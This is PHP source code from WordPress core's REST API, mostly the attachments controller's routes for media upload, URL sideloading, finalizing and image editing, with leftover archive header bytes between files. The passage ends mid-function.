is_wp_error( $revision_id ) || 0 === $revision_id ) { return $revision_id; } // Attached any passed meta values that have revisions enabled. if ( ! empty( $meta ) ) { foreach ( $revisioned_meta_keys as $meta_key ) { if ( isset( $meta[ $meta_key ] ) ) { update_metadata( 'post', $revision_id, $meta_key, wp_slash( $meta[ $meta_key ] ) ); } } } return $revision_id; } /** * Prepares the revision for the REST response. * * @since 5.0.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php */ return apply_filters( 'rest_prepare_autosave', new WP_REST_Response( array() ), $post, $request ); } $response = $this->revisions_controller->prepare_item_for_response( $post, $request ); $fields = $this->get_fields_for_response( $request ); if ( in_array( 'preview_link', $fields, true ) ) { $parent_id = wp_is_post_autosave( $post ); $preview_post_id = false === $parent_id ? $post->ID : $parent_id; $preview_query_args = array(); if ( false !== $parent_id ) { $preview_query_args['preview_id'] = $parent_id; $preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id ); } $response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $response->data = $this->add_additional_fields_to_object( $response->data, $request ); $response->data = $this->filter_response_by_context( $response->data, $context ); /** * Filters a revision returned from the REST API. * * Allows modification of the revision right before it is returned. * * @since 5.0.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original revision object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_autosave', $response, $post, $request ); } /** * Retrieves the query params for the autosaves collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } PK!c?(class-wp-rest-attachments-controller.phpnu[, * width?: positive-int, * height?: positive-int, * file?: non-empty-string, * mime_type?: non-empty-string, * filesize?: positive-int, * original_image?: non-empty-string, * } */ class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller { /** * Whether the controller supports batching. * * @since 5.9.0 * @var false */ protected $allow_batch = false; /** * Image size token for the source-format original preserved alongside a * client-generated derivative (e.g. the HEIC file kept next to its JPEG). * * Used both in the `/sideload` route schema and when dispatching the * sideloaded file to its metadata key, so the two never drift apart. * * @since 7.1.0 * @var string */ const IMAGE_SIZE_SOURCE_ORIGINAL = 'source_original'; /** * Metadata key holding the basename of the source-format original. * * Deliberately specific so it never collides with the generic `original` * or `original_image` keys other flows write to. * * @since 7.1.0 * @var string */ const META_KEY_SOURCE_IMAGE = 'source_image'; /** * Post meta key recording the file names produced by the sideload endpoint. * * Each successful sideload appends the file name(s) it created for an * attachment under this key. The finalize endpoint reads them back to * confirm every stored sub-size was actually produced here, rather than * trusting a client-supplied name that could point at another attachment's * files. Stored as one row per value (via {@see add_post_meta()}) so concurrent * sideloads never read-modify-write a shared value. * * @since 7.1.0 * @var string */ const META_KEY_SIDELOAD_FILE_NAME = '_wp_sideloaded_file'; /** * Registers the routes for attachments. * * @since 5.3.0 * * @see register_rest_route() */ public function register_routes() { parent::register_routes(); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/post-process', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'post_process_item' ), 'permission_callback' => array( $this, 'post_process_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the attachment.' ), 'type' => 'integer', ), 'action' => array( 'type' => 'string', 'enum' => array( 'create-image-subsizes' ), 'required' => true, ), ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/edit', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'edit_media_item' ), 'permission_callback' => array( $this, 'edit_media_item_permissions_check' ), 'args' => $this->get_edit_media_item_args(), ) ); if ( wp_is_client_side_media_processing_enabled() ) { register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/sideload', array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'sideload_item' ), 'permission_callback' => array( $this, 'sideload_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the attachment.' ), 'type' => 'integer', ), 'image_size' => array( 'description' => __( 'Image size. Can be a single size name or an array of size names to register the same file under multiple sizes.' ), 'type' => array( 'string', 'array' ), 'items' => array( 'type' => 'string', 'minLength' => 1, ), 'minItems' => 1, 'minLength' => 1, 'required' => true, /* * A custom callback is used instead of the default enum validation * because rest_is_array() treats scalar strings as single-element * lists (via wp_parse_list()), so a [ 'string', 'array' ] type alone * cannot enforce the enum. The callback validates each item against * the current list of registered sizes, which reflects sizes added * after route registration (e.g. via add_image_size()). */ 'validate_callback' => static function ( $value, WP_REST_Request $request, string $param ) { /* * Providing a custom callback replaces the default schema * validation, so apply the declared schema (type, minLength, * minItems) before the enum check below. */ $schema_validity = rest_validate_request_arg( $value, $request, $param ); if ( is_wp_error( $schema_validity ) ) { return $schema_validity; } return self::validate_image_size_names( $value, $param ); }, ), 'convert_format' => array( 'type' => 'boolean', 'default' => true, 'description' => __( 'Whether to convert image formats.' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/finalize', array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'finalize_item' ), 'permission_callback' => array( $this, 'edit_media_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the attachment.' ), 'type' => 'integer', ), 'sub_sizes' => array( 'description' => __( 'Array of sub-size metadata collected from sideload responses.' ), 'type' => 'array', 'default' => array(), /* * A finalize request sends one entry per sideloaded sub-size, so * the ceiling only needs to clear the number of sizes a site can * register. Bounding it keeps a request from repeating a name * across an arbitrary number of entries. */ 'maxItems' => 100, /* * As on the sideload endpoint, the size names are checked in a * callback rather than an enum, so the set reflects the sizes * registered when the request runs. The callback sits on * sub_sizes because a nested property cannot carry one. */ 'validate_callback' => static function ( $value, WP_REST_Request $request, string $param ) { /* * Providing a custom callback replaces the default schema * validation, so apply the declared schema first. That is what * guarantees each entry is an object carrying an image_size of * the declared type. */ $schema_validity = rest_validate_request_arg( $value, $request, $param ); if ( is_wp_error( $schema_validity ) ) { return $schema_validity; } foreach ( (array) $value as $index => $sub_size ) { $sub_size = (array) $sub_size; $validity = self::validate_image_size_names( $sub_size['image_size'] ?? null, sprintf( '%s[%s][image_size]', $param, $index ) ); if ( is_wp_error( $validity ) ) { return $validity; } } return true; }, 'items' => array( 'type' => 'object', 'properties' => array( 'image_size' => array( 'description' => __( 'Size name, or an array of size names when a single file is registered under multiple sizes with matching dimensions.' ), 'type' => array( 'string', 'array' ), 'items' => array( 'type' => 'string', 'minLength' => 1, ), 'minItems' => 1, 'minLength' => 1, 'required' => true, ), 'width' => array( 'type' => 'integer', 'minimum' => 1, ), 'height' => array( 'type' => 'integer', 'minimum' => 1, ), 'file' => array( 'type' => 'string', 'minLength' => 1, ), 'mime_type' => array( 'type' => 'string', 'pattern' => '^image/.*', ), 'filesize' => array( 'type' => 'integer', 'minimum' => 1, ), 'original_image' => array( 'type' => 'string', 'minLength' => 1, ), ), ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } } /** * Retrieves the query params for the attachments collection. * * @since 7.1.0 * * @param string $method Optional. HTTP method of the request. * The arguments for `CREATABLE` requests are * checked for required values and may fall-back to a given default. * Default WP_REST_Server::CREATABLE. * @return array> Endpoint arguments. */ public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) { $args = parent::get_endpoint_args_for_item_schema( $method ); if ( WP_REST_Server::CREATABLE !== $method ) { return $args; } $args['generate_sub_sizes'] = array( 'type' => 'boolean', 'default' => true, 'description' => __( 'Whether to generate image sub sizes.' ), ); $args['convert_format'] = array( 'type' => 'boolean', 'default' => true, 'description' => __( 'Whether to convert image formats.' ), ); $args['url'] = array( 'type' => 'string', 'format' => 'uri', 'description' => __( 'URL of an external image to sideload into the media library, instead of uploading a file.' ), 'sanitize_callback' => 'sanitize_url', 'validate_callback' => static function ( $url, $request, $param ) { /* * A custom validate_callback replaces the default * rest_validate_request_arg(), so re-apply it first to keep * the schema checks (string type, uri format) enforced. */ $valid = rest_validate_request_arg( $url, $request, $param ); if ( is_wp_error( $valid ) ) { return $valid; } /* * Reject URLs that are not safe to request server-side. wp_http_validate_url() * enforces an HTTP(S) scheme and blocks private, local, and otherwise * disallowed hosts, guarding the sideload against SSRF. */ if ( false === wp_http_validate_url( $url ) ) { return new WP_Error( 'rest_invalid_url', __( 'Invalid URL. Provide a valid, publicly reachable HTTP or HTTPS image URL.' ), array( 'status' => 400 ) ); } return true; }, ); return $args; } /** * Determines the allowed query_vars for a get_items() response and * prepares for WP_Query. * * @since 4.7.0 * @since 6.9.0 Extends the `media_type` and `mime_type` request arguments to support array values. * * @param array $prepared_args Optional. Array of prepared arguments. Default empty array. * @param WP_REST_Request $request Optional. Request to prepare items for. * @return array Array of query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = parent::prepare_items_query( $prepared_args, $request ); if ( empty( $query_args['post_status'] ) ) { $query_args['post_status'] = 'inherit'; } $all_mime_types = array(); $media_types = $this->get_media_types(); if ( ! empty( $request['media_type'] ) && is_array( $request['media_type'] ) ) { foreach ( $request['media_type'] as $type ) { if ( isset( $media_types[ $type ] ) ) { $all_mime_types = array_merge( $all_mime_types, $media_types[ $type ] ); } } } if ( ! empty( $request['mime_type'] ) && is_array( $request['mime_type'] ) ) { foreach ( $request['mime_type'] as $mime_type ) { $parts = explode( '/', $mime_type ); if ( isset( $media_types[ $parts[0] ] ) && in_array( $mime_type, $media_types[ $parts[0] ], true ) ) { $all_mime_types[] = $mime_type; } } } if ( ! empty( $all_mime_types ) ) { $query_args['post_mime_type'] = array_values( array_unique( $all_mime_types ) ); } // Filter query clauses to include filenames. if ( isset( $query_args['s'] ) ) { add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' ); } return $query_args; } /** * Checks if a given request has access to create an attachment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error Boolean true if the attachment may be created, or a WP_Error if not. */ public function create_item_permissions_check( $request ) { $ret = parent::create_item_permissions_check( $request ); if ( ! $ret || is_wp_error( $ret ) ) { return $ret; } if ( ! current_user_can( 'upload_files' ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => 400 ) ); } // Attaching media to a post requires ability to edit said post. if ( ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to upload media to this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $files = $request->get_file_params(); /** * Filter whether the server should prevent uploads for image types it doesn't support. Default true. * * Developers can use this filter to enable uploads of certain image types. By default image types that are not * supported by the server are prevented from being uploaded. * * @since 6.8.0 * * @param bool $check_mime Whether to prevent uploads of unsupported image types. * @param string|null $mime_type The mime type of the file being uploaded (if available). */ $prevent_unsupported_uploads = apply_filters( 'wp_prevent_unsupported_mime_type_uploads', true, $files['file']['type'] ?? null ); /* * When the client handles image processing (generate_sub_sizes is false), * skip the server-side image editor support check. This check exists * because the server cannot process the image, so it is only relaxed when * client side media processing is enabled and something else can. Asking * to skip sub sizes on a site without it does not make an unsupported * image type any more usable. */ if ( wp_is_client_side_media_processing_enabled() && false === $request['generate_sub_sizes'] ) { $prevent_unsupported_uploads = false; } /* * Always allow still HEIC/HEIF uploads through even if the server's * image editor doesn't support them. The client-side canvas fallback * handles processing using the browser's native HEVC decoder. * * The '-sequence' variants (multi-frame Live Photos) are deliberately * excluded: neither the server nor the browser fallback can process * them yet, so they should fall through to the standard unsupported * mime-type error rather than be stored unprocessable. */ $still_heic_mime_types = array( 'image/heic', 'image/heif' ); if ( $prevent_unsupported_uploads && ! empty( $files['file']['type'] ) && in_array( $files['file']['type'], $still_heic_mime_types, true ) ) { $prevent_unsupported_uploads = false; } // If the upload is an image, check if the server can handle the mime type. if ( $prevent_unsupported_uploads && isset( $files['file']['type'] ) && str_starts_with( $files['file']['type'], 'image/' ) ) { // List of non-resizable image formats. $editor_non_resizable_formats = array( 'image/svg+xml', ); // Check if the image editor supports the type or ignore if it isn't a format resizable by an editor. if ( ! in_array( $files['file']['type'], $editor_non_resizable_formats, true ) && ! wp_image_editor_supports( array( 'mime_type' => $files['file']['type'] ) ) ) { return new WP_Error( 'rest_upload_image_type_not_supported', __( 'The web server cannot generate responsive image sizes for this image. Convert it to JPEG or PNG before uploading.' ), array( 'status' => 400 ) ); } } return true; } /** * Creates a single attachment. * * @since 4.7.0 * @since 7.1.0 Added the `generate_sub_sizes`, `convert_format`, and `url` parameters. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) { return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) ); } // Handle generate_sub_sizes parameter. if ( false === $request['generate_sub_sizes'] ) { add_filter( 'intermediate_image_sizes_advanced', '__return_empty_array', 100 ); add_filter( 'fallback_intermediate_image_sizes', '__return_empty_array', 100 ); // Disable server-side EXIF rotation so the client can handle it. // This preserves the original orientation value in the metadata. add_filter( 'wp_image_maybe_exif_rotate', '__return_false', 100 ); // Disable server-side "big image" downscaling; the client supplies its // own scaled version via the sideload endpoint. Scaling here would // create a conflicting "-scaled" file and orphan the full-size upload. add_filter( 'big_image_size_threshold', '__return_false', 100 ); } // Handle convert_format parameter. if ( false === $request['convert_format'] ) { add_filter( 'image_editor_output_format', '__return_empty_array', 100 ); } /* * When a URL is supplied instead of an uploaded file, sideload the * remote image on the server. This avoids a cross-origin browser fetch, * which fails under cross-origin isolation. The sub-size and scaling * filters applied above still govern whether derivatives are generated. */ if ( ! empty( $request['url'] ) ) { $response = $this->create_item_from_url( $request ); $this->remove_client_side_media_processing_filters(); return $response; } $insert = $this->insert_attachment( $request ); if ( is_wp_error( $insert ) ) { $this->remove_client_side_media_processing_filters(); return $insert; } $schema = $this->get_item_schema(); // Extract by name. $attachment_id = $insert['attachment_id']; $file = $insert['file']; if ( isset( $request['alt_text'] ) ) { update_post_meta( $attachment_id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) ); } if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment_id ); if ( is_wp_error( $thumbnail_update ) ) { $this->remove_client_side_media_processing_filters(); return $thumbnail_update; } } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $attachment_id ); if ( is_wp_error( $meta_update ) ) { $this->remove_client_side_media_processing_filters(); return $meta_update; } } $attachment = get_post( $attachment_id ); $fields_update = $this->update_additional_fields_for_object( $attachment, $request ); if ( is_wp_error( $fields_update ) ) { $this->remove_client_side_media_processing_filters(); return $fields_update; } $terms_update = $this->handle_terms( $attachment_id, $request ); if ( is_wp_error( $terms_update ) ) { $this->remove_client_side_media_processing_filters(); return $terms_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single attachment is completely created or updated via the REST API. * * @since 5.0.0 * * @param WP_Post $attachment Inserted or updated attachment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating an attachment, false when updating. */ do_action( 'rest_after_insert_attachment', $attachment, $request, true ); wp_after_insert_post( $attachment, false, null ); if ( wp_is_serving_rest_request() ) { /* * Set a custom header with the attachment_id. * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error. */ header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id ); } // Include media and image functions to get access to wp_generate_attachment_metadata(). require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; /* * Post-process the upload (create image sub-sizes, make PDF thumbnails, etc.) and insert attachment meta. * At this point the server may run out of resources and post-processing of uploaded images may fail. */ wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) ); $this->remove_client_side_media_processing_filters(); $response = $this->prepare_item_for_response( $attachment, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $attachment_id ) ) ); return $response; } /** * Sideloads an external image from a URL into the media library. * * Downloads the remote file on the server, avoiding a cross-origin browser * fetch that fails under cross-origin isolation. Whether sub-sizes are * generated is governed by the filters applied in create_item(). * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ protected function create_item_from_url( WP_REST_Request $request ) { // Sideloading downloads and stores a file, so require the upload capability. if ( ! current_user_can( 'upload_files' ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; $url = $request['url']; $post_id = ! empty( $request['post'] ) ? (int) $request['post'] : 0; // Derive the filename from the URL path before downloading anything. $url_path = wp_parse_url( $url, PHP_URL_PATH ); $filename = $url_path ? wp_basename( $url_path ) : ''; if ( '' === $filename ) { return new WP_Error( 'rest_invalid_url', __( 'Could not determine a filename from the provided URL.' ), array( 'status' => 400 ) ); } /* * Only download URLs whose extension maps to an allowed image MIME type. * The sideload handler would reject other types anyway (via * wp_check_filetype_and_ext()), but checking first avoids downloading * files that can never be accepted, such as PHP scripts. */ $filetype = wp_check_filetype( $filename ); if ( ! $filetype['type'] || ! str_starts_with( $filetype['type'], 'image/' ) ) { return new WP_Error( 'rest_invalid_url', __( 'The provided URL does not point to a supported image file.' ), array( 'status' => 400 ) ); } /* * Cap the download at the same size the site would accept as a direct * upload. check_upload_size() only applies on multisite, so without a * ceiling here a single site has no limit at all on this path: the * `upload_max_filesize` and `post_max_size` directives bound a request * body, not a fetch the server makes itself. * * When `wp_max_upload_size` returns 0, no ceiling is applied. */ $max_size = (int) wp_max_upload_size(); /* * Download the remote file with WordPress's HTTP API, which validates * the host and blocks requests to private or local addresses. This is * the same primitive core's media_sideload_image() relies on. * * `limit_response_size` stops the transfer once the limit is passed, * so an oversized remote file is never written to disk in full. One * byte over the ceiling is enough to fail the size check below. */ $limit_response_size = static function ( $args ) use ( $max_size ) { $args['limit_response_size'] = $max_size + 1; return $args; }; if ( $max_size > 0 ) { add_filter( 'http_request_args', $limit_response_size ); } $tmp_file = download_url( $url ); if ( $max_size > 0 ) { remove_filter( 'http_request_args', $limit_response_size ); } if ( is_wp_error( $tmp_file ) ) { return $tmp_file; } $file_array = array( 'name' => $filename, 'tmp_name' => $tmp_file, ); $size_check = self::check_upload_size( $file_array ); if ( is_wp_error( $size_check ) ) { if ( file_exists( $tmp_file ) ) { wp_delete_file( $tmp_file ); } return $size_check; } if ( $max_size > 0 && wp_filesize( $tmp_file ) > $max_size ) { if ( file_exists( $tmp_file ) ) { wp_delete_file( $tmp_file ); } return new WP_Error( 'rest_upload_file_too_big', /* translators: %s: Maximum allowed file size in kilobytes. */ sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), number_format( $max_size / KB_IN_BYTES ) ), array( 'status' => 400 ) ); } $attachment_id = media_handle_sideload( $file_array, $post_id ); if ( is_wp_error( $attachment_id ) ) { /* * media_handle_sideload() deletes the temp file on success; remove * it explicitly when the sideload fails. */ if ( file_exists( $tmp_file ) ) { wp_delete_file( $tmp_file ); } return $attachment_id; } $attachment = get_post( $attachment_id ); $request->set_param( 'context', 'edit' ); /* * media_handle_sideload() fires the standard insert hooks (including * wp_after_insert_post), but not the REST-specific action, so fire it * here for parity with the uploaded-file path in create_item(). */ /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */ do_action( 'rest_after_insert_attachment', $attachment, $request, true ); $response = $this->prepare_item_for_response( $attachment, $request ); $response->set_status( 201 ); $response->header( 'Location', rest_url( rest_get_route_for_post( $attachment_id ) ) ); return $response; } /** * Removes filters added for client-side media processing. * * @since 7.1.0 */ private function remove_client_side_media_processing_filters(): void { remove_filter( 'intermediate_image_sizes_advanced', '__return_empty_array', 100 ); remove_filter( 'fallback_intermediate_image_sizes', '__return_empty_array', 100 ); remove_filter( 'wp_image_maybe_exif_rotate', '__return_false', 100 ); remove_filter( 'image_editor_output_format', '__return_empty_array', 100 ); remove_filter( 'big_image_size_threshold', '__return_false', 100 ); } /** * Inserts the attachment post in the database. Does not update the attachment meta. * * @since 5.3.0 * * @param WP_REST_Request $request * @return array|WP_Error */ protected function insert_attachment( $request ) { // Get the file via $_FILES or raw data. $files = $request->get_file_params(); $headers = $request->get_headers(); $time = null; // Matches logic in media_handle_upload(). if ( ! empty( $request['post'] ) ) { $post = get_post( $request['post'] ); // The post date doesn't usually matter for pages, so don't backdate this upload. if ( $post && 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) { $time = $post->post_date; } } if ( ! empty( $files ) ) { $file = $this->upload_from_file( $files, $headers, $time ); } else { $file = $this->upload_from_data( $request->get_body(), $headers, $time ); } if ( is_wp_error( $file ) ) { return $file; } $name = wp_basename( $file['file'] ); $name_parts = pathinfo( $name ); $name = trim( substr( $name, 0, -( 1 + strlen( $name_parts['extension'] ) ) ) ); $url = $file['url']; $type = $file['type']; $file = $file['file']; $alt = ''; // Include image functions to get access to wp_read_image_metadata(). require_once ABSPATH . 'wp-admin/includes/image.php'; // Use image exif/iptc data for title and caption defaults if possible. $image_meta = wp_read_image_metadata( $file ); if ( ! empty( $image_meta ) ) { if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) { $request['title'] = $image_meta['title']; } if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) { $request['caption'] = $image_meta['caption']; } if ( empty( $request['alt'] ) && trim( $image_meta['alt'] ) ) { $alt = $image_meta['alt']; } } $attachment = $this->prepare_item_for_database( $request ); $attachment->post_mime_type = $type; $attachment->guid = $url; // If the title was not set, use the original filename. if ( empty( $attachment->post_title ) && ! empty( $files['file']['name'] ) ) { // Remove the file extension (after the last `.`) $tmp_title = substr( $files['file']['name'], 0, strrpos( $files['file']['name'], '.' ) ); if ( ! empty( $tmp_title ) ) { $attachment->post_title = $tmp_title; } } // Fall back to the original approach. if ( empty( $attachment->post_title ) ) { $attachment->post_title = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) ); } // $post_parent is inherited from $attachment['post_parent']. $id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true, false ); if ( trim( $alt ) ) { update_post_meta( $id, '_wp_attachment_image_alt', sanitize_text_field( $alt ) ); } if ( is_wp_error( $id ) ) { if ( 'db_update_error' === $id->get_error_code() ) { $id->add_data( array( 'status' => 500 ) ); } else { $id->add_data( array( 'status' => 400 ) ); } return $id; } $attachment = get_post( $id ); /** * Fires after a single attachment is created or updated via the REST API. * * @since 4.7.0 * * @param WP_Post $attachment Inserted or updated attachment object. * @param WP_REST_Request $request The request sent to the API. * @param bool $creating True when creating an attachment, false when updating. */ do_action( 'rest_insert_attachment', $attachment, $request, true ); return array( 'attachment_id' => $id, 'file' => $file, ); } /** * Determines the featured media based on a request param. * * @since 6.5.0 * * @param int $featured_media Featured Media ID. * @param int $post_id Post ID. * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error. */ protected function handle_featured_media( $featured_media, $post_id ) { $post_type = get_post_type( $post_id ); $thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' ); // Similar check as in wp_insert_post(). if ( ! $thumbnail_support && get_post_mime_type( $post_id ) ) { if ( wp_attachment_is( 'audio', $post_id ) ) { $thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' ); } elseif ( wp_attachment_is( 'video', $post_id ) ) { $thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' ); } } if ( $thumbnail_support ) { return parent::handle_featured_media( $featured_media, $post_id ); } return new WP_Error( 'rest_no_featured_media', sprintf( /* translators: %s: attachment mime type */ __( 'This site does not support post thumbnails on attachments with MIME type %s.' ), get_post_mime_type( $post_id ) ), array( 'status' => 400 ) ); } /** * Updates a single attachment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function update_item( $request ) { if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) { return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) ); } $attachment_before = get_post( $request['id'] ); $response = parent::update_item( $request ); if ( is_wp_error( $response ) ) { return $response; } $response = rest_ensure_response( $response ); $data = $response->get_data(); if ( isset( $request['alt_text'] ) ) { update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] ); } $attachment = get_post( $request['id'] ); if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) { $thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment->ID ); if ( is_wp_error( $thumbnail_update ) ) { return $thumbnail_update; } } $fields_update = $this->update_additional_fields_for_object( $attachment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */ do_action( 'rest_after_insert_attachment', $attachment, $request, false ); wp_after_insert_post( $attachment, true, $attachment_before ); $response = $this->prepare_item_for_response( $attachment, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Performs post-processing on an attachment. * * @since 5.3.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function post_process_item( $request ) { switch ( $request['action'] ) { case 'create-image-subsizes': require_once ABSPATH . 'wp-admin/includes/image.php'; wp_update_image_subsizes( $request['id'] ); break; } $request['context'] = 'edit'; return $this->prepare_item_for_response( get_post( $request['id'] ), $request ); } /** * Checks if a given request can perform post-processing on an attachment. * * @since 5.3.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function post_process_item_permissions_check( $request ) { return $this->update_item_permissions_check( $request ); } /** * Checks if a given request has access to editing media. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function edit_media_item_permissions_check( $request ) { if ( ! current_user_can( 'upload_files' ) ) { return new WP_Error( 'rest_cannot_edit_image', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return $this->update_item_permissions_check( $request ); } /** * Applies edits to a media item and creates a new attachment record. * * @since 5.5.0 * @since 6.9.0 Adds flips capability and editable fields for the newly-created attachment post. * @since 7.1.0 Applies EXIF orientation correction before image modifications. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function edit_media_item( $request ) { require_once ABSPATH . 'wp-admin/includes/image.php'; $attachment_id = $request['id']; // This also confirms the attachment is an image. $image_file = wp_get_original_image_path( $attachment_id ); $image_meta = wp_get_attachment_metadata( $attachment_id ); if ( ! $image_meta || ! $image_file || ! wp_image_file_matches_image_meta( $request['src'], $image_meta, $attachment_id ) ) { return new WP_Error( 'rest_unknown_attachment', __( 'Unable to get meta information for file.' ), array( 'status' => 404 ) ); } $supported_types = array( 'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'image/avif', 'image/heic' ); $mime_type = get_post_mime_type( $attachment_id ); if ( ! in_array( $mime_type, $supported_types, true ) ) { return new WP_Error( 'rest_cannot_edit_file_type', __( 'This type of file cannot be edited.' ), array( 'status' => 400 ) ); } // The `modifiers` param takes precedence over the older format. if ( isset( $request['modifiers'] ) ) { $modifiers = $request['modifiers']; } else { $modifiers = array(); if ( isset( $request['flip']['horizontal'] ) || isset( $request['flip']['vertical'] ) ) { $flip_args = array( 'vertical' => isset( $request['flip']['vertical'] ) ? (bool) $request['flip']['vertical'] : false, 'horizontal' => isset( $request['flip']['horizontal'] ) ? (bool) $request['flip']['horizontal'] : false, ); $modifiers[] = array( 'type' => 'flip', 'args' => array( 'flip' => $flip_args, ), ); } if ( ! empty( $request['rotation'] ) ) { $modifiers[] = array( 'type' => 'rotate', 'args' => array( 'angle' => $request['rotation'], ), ); } if ( isset( $request['x'], $request['y'], $request['width'], $request['height'] ) ) { $modifiers[] = array( 'type' => 'crop', 'args' => array( 'left' => $request['x'], 'top' => $request['y'], 'width' => $request['width'], 'height' => $request['height'], ), ); } if ( 0 === count( $modifiers ) ) { return new WP_Error( 'rest_image_not_edited', __( 'The image was not edited. Edit the image before applying the changes.' ), array( 'status' => 400 ) ); } } /* * If the file doesn't exist, attempt a URL fopen on the src link. * This can occur with certain file replication plugins. * Keep the original file path to get a modified name later. */ $image_file_to_edit = $image_file; if ( ! file_exists( $image_file_to_edit ) ) 